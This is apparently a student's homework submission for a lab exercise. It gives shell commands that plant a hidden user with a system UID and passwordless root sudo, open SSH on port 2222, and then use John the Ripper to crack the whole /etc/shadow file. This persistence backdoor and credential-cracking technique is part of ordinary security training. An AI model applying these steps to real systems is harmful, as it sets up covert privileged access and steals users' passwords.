## Submission for Unit 6 Advanced Bash Homework

Create a secret user named `sysd`. Make sure this user does not have a home folder created.

- first make a user’s directory in /var/lib/ 'sudo mkdir users'

- then make a secret user in /var/lib/users

'sudo useradd -s /bin/bash -d /var/lib/users/sysd -m -G sudo sysd'

Give your secret user a password.

-'sudo passwd sysd' 'Hello'

Give your secret user a system UID < 1000.

-'sudo usermod -u 900 sysd'

Give your secret user the same GID

-'sudo groupmod -g 900 sysd'

Give your secret user full sudo access without the need for a password.

-to show/edit access 'sudo visudo'

-to change access in nano file edit

user privileges specification

'sysd ALL=(ALL:ALL) NOPASSWD:ALL'

Test that sudo access works without your password

-'su sysd' to change to user sysd@UbuntuDesktop:

-'sudo -l' it shows that sysd has root privileges

## Allow ssh access over port 2222.

-'semanage port -a -t ssh\_port\_t -p tcp 2222'

-'sudo firewall-cmd --permanent --zone=public --add-port=2222/tcp'

Command to restart the ssh service:

-'sudo firewall-cmd --reload'

Exit the root account:

-'su sysadmin'

SSH to the target machine using your `sysd` account and port 2222:

-'ssh -p 2222 sysd@UbuntuDesktop'

Use sudo to switch to the root user

-'sudo su'

## Crack \_all\_ the passwords

Ssh back to the system using your sysd account

-'ssh -p 2222 sysd@UbuntuDesktop'

- Use John to crack the entire /etc/shadow file

